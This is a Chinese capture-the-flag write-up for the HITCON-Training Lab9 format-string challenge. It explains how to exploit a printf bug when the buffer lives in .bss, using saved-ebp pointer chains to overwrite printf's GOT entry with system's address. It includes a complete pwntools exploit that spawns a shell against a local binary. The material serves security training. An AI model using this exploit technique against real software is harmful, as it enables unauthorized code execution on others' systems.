【WP】HITCON-Training-Lab9
题目描述
源码
1 |
|
关键函数
循环执行的格式化字符串漏洞
分析
- 想要getshell,我们希望执行system函数,恰好这里printf函数以输入的内容作为参数且存在格式化字符串漏洞,于是可以考虑把printf的got内容修改为system函数的地址,再输入
/bin/sh就能getshell了(或者用onegadget) - 要想把printf的got表写入system函数地址,我们需要得到printf的真实地址,减去printf的偏移加上system的偏移就能得到system函数地址(本题没有system函数)。所以考虑通过%x$s的方式泄露printf的got表内容(x对应第几个参数指向printf的got地址)
- 既然如此我们就得想办法让栈上的地址指向printf的got表地址。这里就是本题的重中之重了,假如buf位于栈上,我们只需要写入printf的got表地址然后指向该地址用%s打印,就能泄露出printf的got表内容。但是本题buf是全局变量,位于bss段,就要用到另一种利用姿势了,记为fmt_bss
fmt_bss
非栈上的格式化字符串漏洞,需要找“跳板”。原因:对于%ac%xn,a是个数,x是偏移。如果相应地址处存放的仍然是一个地址(指针),则会向这里存放的指针指向的地址处写入数。如a->b->c,则向c写入数据
通常来说是通过利用ebp和返回地址进行操作
本题而言的具体操作如下:
- 获得ebp2的地址
- 先让ebp2指向ebp1下的第一个返回地址处,记为fmt7
- 用printf的got表地址的低位两个字节覆盖fmt7低位两个字节,此时fmt7->printf_got(返回地址的前两个字节与got表相同)
- 再让ebp2指向ebp2下的第二个返回地址处,记为fmt11
- 用printf的got表地址+2的低位两个字节覆盖fmt11低位两个字节,此时fmt11->printf_got+2
- 获取printf的got表内容,并计算得到system真实地址
- 通过fmt7->printf_got,把system地址低位两个字节写入printf的got表处
- 通过fmt11->printf_got+2,把system地址高位两个字节写入printf的got表处
- 写入
/bin/sh,拿到shell
细节
- 利用hn写入两字节的方式会接收很多字符,用recv()接收字符时一次最多接收0x1000字节内容,单次接受不完,所以发送标志字符并查看是否存在于接收字符中,来验证是否接受完
exp
打本地的,buu没复现成功。。什么时候打通了就把远程脚本放上来1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71from pwn import*
context(os='linux', arch='i386', log_level='debug')
r = process('./playfmt')
elf = ELF('./playfmt')
printf_got = elf.got['printf']
r.recv()
log.info("*************leak printf_got**************")
payload = "%6$x" #ebp1->ebp2
r.sendline(payload)
ebp2 = int(r.recv(),16)
ebp1 = ebp2 - 0x10
fmt7 = ebp1 + 0x4
fmt11 = ebp2 + 0x4
log.info("printf_got ==> [%s]"%hex(printf_got))
log.info("ebp2_addr ==> [%s]"%hex(ebp2))
log.info("fmt7_addr ==> [%s]"%hex(fmt7))
log.info("fmt11_addr ==> [%s]"%hex(fmt11))
payload = '%' + str(fmt7&0xffff) + 'c%6$hn'
r.sendline(payload)
r.recv()
payload = '%' + str(printf_got&0xffff) + 'c%10$hn\x00'
r.sendline(payload)
r.recv()
while True:
r.send("ayoung\x00")
sleep(0.2)
data = r.recv()
if data.find("ayoung")!= -1:
break
payload = '%' + str(fmt11&0xffff) + 'c%6$hn\x00'
r.sendline(payload)
r.recv()
payload = '%' + str((printf_got+2)&0xffff) + 'c%10$hn'
r.send(payload)
r.recv()
while True:
r.send("ayoung\x00")
sleep(0.2)
data = r.recv()
if data.find("ayoung")!= -1:
break
payload = 'aaaa%7$s\x00'
r.send(payload)
r.recvuntil('aaaa')
#gdb.attach(r)
printf_add = u32(r.recv(4))
log.info("printf_add ==> [%s]"%hex(printf_add))
system_add = printf_add - 0xe8d0
log.info("system_add ==> [%s]"%hex(system_add))
payload = '%' + str(system_add&0xffff) + 'c%7$hn'
payload += '%' + str((system_add>>16)-(system_add&0xffff)) + 'c%11$hn\x00'
r.sendline(payload)
while True:
r.send("ayoung\x00")
sleep(0.2)
data = r.recv()
if data.find("ayoung")!= -1:
break
r.send('/bin/sh\x00')
r.interactive()

学到
- fmt_bss
- gdb一步一步调试理解过程
- 位运算提取相应字节
- 加入标志字符确定字符接收情况




